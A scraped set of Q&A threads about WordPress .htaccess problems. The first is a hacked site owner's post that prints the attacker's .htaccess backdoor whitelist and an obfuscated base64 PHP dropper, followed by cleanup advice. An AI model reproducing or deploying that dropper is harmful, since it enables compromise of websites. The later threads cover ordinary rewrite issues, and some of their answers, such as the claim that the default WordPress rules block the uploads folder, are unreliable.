please tell me what can I do to protect my .htaccess file ? Recently I was hacked and I noticed that I can navigate into different place of my wp-admin (Posts, settings, plugins,...) they show permission page - forbiden. A .htaccess is generate and also an index.php and themes.php is added to root. I've deleted the .htaccess file, index.php and themes.php and I've created a new .htaccees which content many lines of protection rules, but it's always replaced by a new. How can I track the hacked script please ?
Code of hacked .htaccess:
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|wp-login.php|load.php|themes.php|admin.php|settings.php|bottom.php|years.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
Code of index.php:
<?php $zdHKDPrQNF='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$zdHKDPrQNF[(105/15)].$zdHKDPrQNF[(26-1)].$zdHKDPrQNF[(1*49)].$zdHKDPrQNF[((10*1)+18)].$zdHKDPrQNF[(14+22)].$zdHKDPrQNF[(44+5)].$zdHKDPrQNF[(44-13)].$zdHKDPrQNF[(684/18)].$zdHKDPrQNF[(23+4)].$zdHKDPrQNF[(72-(33-7))].$zdHKDPrQNF[(154/22)].$zdHKDPrQNF[(11+25)].$zdHKDPrQNF[(65-(62-31))].$zdHKDPrQNF[(26-6)].$zdHKDPrQNF[((27*2)-8)];$pHFdNhg9688=$zdHKDPrQNF[(20-9)].$zdHKDPrQNF[(2*4)].$zdHKDPrQNF[(29*1)].$zdHKDPrQNF[(160/4)];$MYtraky2482=$zdHKDPrQNF[(8*5)].$zdHKDPrQNF[((1+0)+2)].$zdHKDPrQNF[(6+(1*(95/19)))].$zdHKDPrQNF[(140/5)].$zdHKDPrQNF[(522/18)].$zdHKDPrQNF[(7*((7-3)-2))].$zdHKDPrQNF[(2*14)].$zdHKDPrQNF[(138/(2+4))].$zdHKDPrQNF[(1029/(378/18))].$zdHKDPrQNF[((2*189)/9)].$zdHKDPrQNF[(12+(0+0))].$zdHKDPrQNF[(31*1)].$zdHKDPrQNF[(48/(36/12))].$zdHKDPrQNF[(735/15)].$zdHKDPrQNF[(0+7)].$zdHKDPrQNF[(18+2)].$zdHKDPrQNF[(18-(10/5))].$zdHKDPrQNF[(735/15)].$zdHKDPrQNF[(0+(2-(1*1)))].$zdHKDPrQNF[(16-(3+(36/(0+18))))].$zdHKDPrQNF[((167-23)/18)].$zdHKDPrQNF[(0+(18-9))].$zdHKDPrQNF[(1*3)].$zdHKDPrQNF[(11*(1+(0/(78/13))))].$zdHKDPrQNF[(2*7)].$zdHKDPrQNF[(29*(0+1))].$zdHKDPrQNF[(38-(8+9))].$zdHKDPrQNF[(15*2)].$zdHKDPrQNF[(45-11)].$zdHKDPrQNF[(1*46)].$zdHKDPrQNF[(1*(17+21))].$zdHKDPrQNF[(78/3)].$zdHKDPrQNF[(21+(77/11))].$zdHKDPrQNF[(22+14)].$zdHKDPrQNF[(343/(91/13))].$zdHKDPrQNF[(1*1)].$zdHKDPrQNF[(21-10)].$zdHKDPrQNF[(22+(12/2))].$zdHKDPrQNF[(180/20)].$zdHKDPrQNF[(3+((0+0)*1))].$zdHKDPrQNF[(686/(126/9))].$zdHKDPrQNF[(61-(32-8))].$zdHKDPrQNF[(476/17)].$zdHKDPrQNF[((4-0)+22)].$zdHKDPrQNF[(((23-(2*5))/13)-0)].$zdHKDPrQNF[(7+(84/21))].$zdHKDPrQNF[(28/2)].$zdHKDPrQNF[(9-0)].$zdHKDPrQNF[(3*1)];$UrR1094= "'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'";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;#$mEriqO3481=$q2866((''), ($JTx2343));#$mEriqO3481(); ?>
This is an AnonymousFox hack. It is very sophisticated. See these steps to clean your hacked hosting account > https://forum.ait-pro.com/forums/topic/wp-dester-and-wpyii2-hacker-plugins/
Create lock666.php as a folder
Check if there is a suspicious cron job, delete it if any.
remove all newly created .htaccess file
remove all license.txt files
remove all suspicious new .php file
random file name
if after creating the "lock666.php" folder you can't edit the .htaccess and index.php files, rename them to the ones in the hacked .htaccess file
Related
I am hoping you can help, I have been having real trouble getting a .htaccess file for work correctly.
I am trying to block of all access to files and folders within the wp-content/uploads/ folder
i have resorted to placing a .htaccess file in each subdirectory with:
deny from all
This works OK if i FTP a file up and try to access it, the trouble is if i use wordpress to upload a file (in to the same folder) this file is accessible
any ideas on whats going on and a solution?
thanks in advance for any help
Try to write some rule in .htaccess file something like.
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
This will allow you to block off all access to files and folders within the wp-content/uploads/ folder.
I had a similar issue. Once I updated wildcard to include .html (root htaccess), my deny all in the subdirectory worked just fine.
From this:
<Files *>
order deny,allow
deny from env=notallowed
allow from env=allowsome
</Files>
To this:
order deny,allow
deny from env=notallowed
allow from env=allowsome
I have WordPress installed in the root folder and in a subfolder. I can access the home page for the WordPress site in the subdomain, but the permalinks does not work – error 404. I have tried to reset the permalinks, but it did not help. I can’t find any .htaccess file, so I have created one myself and placed it in the subfolder directory:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /projects/bigsargefitness/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /projects/bigsargefitness/index.php [L]
</IfModule>
Here is a link to the subfolder WordPress site:
http://ninahortendesigns.com/projects/bigsargefitness/
I have set the database options to the above direction.
Thanks for your help.
You will need to look at a few things:
.htaccess file in the root WP site (WP1) and edit it so that WP1 doesn't catch the URLs and generate 404 errors, I'm not sure if that comment assisted, I've used this answer for a similar issue.
.htaccess file in the sub WP site (WP2) and rename it to "htaccess.old" then log into your wp2/wp-admin, go to "Settings->Permalinks" check the URL structure is as desired (it doesn't usually change) and click "Save" at the bottom of the page. This will regenerate your .htaccess file within the context of the sub-directory and you shouldn't get 404 errors when you visit sub-pages like this
Here's the code from the first link edited so that it should work with your site, although if you have additional rules, you should only insert the line under the comment.
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
# Include in the next line all folders to exclude
RewriteCond %{REQUEST_URI} !(projects) [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
If you have custom rules, only insert these lines
# Include in the next line all folders to exclude
RewriteCond %{REQUEST_URI} !(projects) [NC]
Assuming you're a designer and are uploading examples of sites you've built, you should only have to do step 2 the next time you upload a new site to the wp1/projects/ sub-directory
Cause
Error 404 occurs when the resource or path you requested cannot be reached. In this case it's likely because URL rewrite isn't working properly, hence the permalink requests were still being directed to the requested path (e.g. /projects/bigsargefitness/your-category/your-post-name) instead of the rewritten path (i.e. /projects/bigsargefitness/index.php).
The following solution assumes you use Debian/Ubuntu, otherwise the principles should remain the same.
Solution
Firstly, ensure that the rewrite engine has been installed:
sudo a2enmod rewrite
Then, ensure that the engine is allowed for the subdirectory by editing/adding the following lines in the file /etc/apache2/sites-available/your-site.conf:
<Directory /var/www/projects/bigsargefitness/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
The key here is to ensure that the line says AllowOverride All instead of AllowOverride None.
Finally, restart your server:
sudo service apache2 restart
Let me know if this helps.
I have problems with one of my Wordpress sites at my host.
Today I installed "Traffic Stats Widget" - plugin and I followed their instructions for installation. So , I did this:
Create a robots.php file on the root directory of your blog: ie public_html/your-blog/ Paste the following code without // in it:
# #
Open .htaccess file in the same directory and paste this in it:
RewriteRule robots.txt robots.php
Make sure you have the 'RewriteEngine On' clause in place...
Make sure you have a robots.txt file, even an empty one, on the root directory
After that I was unable to access all of my subpages.
This is link of my website:
http://idealpvc-dev.com/websites/camel/
And if you try to access some of subpages you will get error 404.
I don't know why, because I restored my .htaccess file but still it doesn't work.
Also I made comparison with others .htaccess file on other wordpress sites but there isn't any differences except folder names.
Any suggestion will be appreciated.
Also, above is content of my .htaccess:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /websites/camel/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /websites/camel/index.php [L]
</IfModule>
# END WordPress
Sites is located at /public_html/websites/camel
Thanks in advance
Make this as a RewrieBase in your htaccess file
RewriteBase http://idealpvc-dev.com/websites/camel/
Instead of this
RewriteBase /websites/camel/
And make your wordpress permalink Default From Wordpress Admin panel > Settings >> Permalink >>> Default
Good morning Stack! My website is currently structured like this:
http://www.mywordpressite.com/
http://www.mywordpressite.com/.htaccess
http://www.mywordpressite.com/portal/
http://www.mywordpressite.com/portal/.htaccess
My understand of the universe is that if I navigate to portal, (4)'s .htaccess will parsed instead of (or with preference over) (2)'s .htaccess. In reality, I am observing that even while navigating to (3) http://www.mywordpressite.com/portal/, the .htaccess from (2) is taking over.
As you can imagine, the root directory is a wordpress site with a standard wordpress .htaccess file:
/.htaccess
<files wp-config.php>
Order deny,allow
deny from all
</files>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
The portal is a Laravel portal, with a standard Laravel .htaccess file
/portal/.htaccess
<IfModule mod_rewrite.c>
Options -MultiViews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>
What I've noticed is that if I remove (2) /.htaccess, all of a sudden, everything works with the portal, so there is certainly collision occurring. I won't post my vhost stuff here since both .htaccess's work / do what they are supposed to do -- just not at the same time:
/.htaccess redirects pretty much pipes all input where the input doesn't correspond to a file or directory into the index.php file for better parsing.
/portal/.htaccess does something similar.
What I've noticed is that with both .htaccesses, if I navigate to a route that usually would be parsed by the portal's .htaccess, such as http://www.mywordpressite.com/portal/this/is/a/route I end up getting a 404 from my wordpress site (eg it piped the url into the /index.php file of the wordpress root directory), and of course that page doesn't exist in WP.
When I remove the wp /.htaccess, of course wordpress doesn't work right anymore, but all of a sudden, the portal's .htaccess starts working fine and http://www.mywordpressite.com/portal/this/is/a/route fires the appropriate route by piping the url parameters into /portal/index.php for processing.
This seems backwards to me. Any suggestions?
I think your problem lies in the fact that you've left out a RewriteBase in the portals access file:
RewriteBase /portal/
I'm not a hypertext access genius, so I can't explain what happens when you leave it out. But I'm sure that's the solution.
I'm trying to use basic .htaccess authentication in a subdirectory of the root where Wordpress is installed. The problem is the same as this question. The root .htaccess file that Wordpress uses for permalinks doesn't play nice with a .htaccess file I have in a subdirectory that requires authentication.
However, the solution does not work, and even if it did, I cannot use that solution. This is because Wordpress's htaccess generation overwrites anything I put in that section.
What it generates is:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
And what I would like to stick in that RewriteCond list is
RewriteCond %{REQUEST_URI} !(^/admin(/.*)?$)
Navigating to http://www.example.com/admin should use the .htaccess file in that directory to authenticate the user. eg:
AuthName "Admin Area"
AuthType Basic
AuthUserFile "/home/.htpasswd"
AuthGroupFile "/home/.htgroups"
require valid-user
Navigating to http://www.example.com/anywhereelse should redirect to index.php
As it is, I can't even get the RewriteCond shown here to work. It always just shows the 404 page when going into the /admin directory, unless I remove the require valid-user line from the admin .htaccess file. One thing to note is that on that 404 page, the response still contains the WWW-Authenticate header.
So main questions are:
How can I make this work?
Why doesn't it just work as is? Why do I need to exclude the /admin directory?
I've found a solution here. Adding
ErrorDocument 401 default
To the root .htaccess file outside of the section that Wordpress edits seems to have fixed the issue. I'm not sure if it's the best option though. If there are any better solutions, please feel free to post them.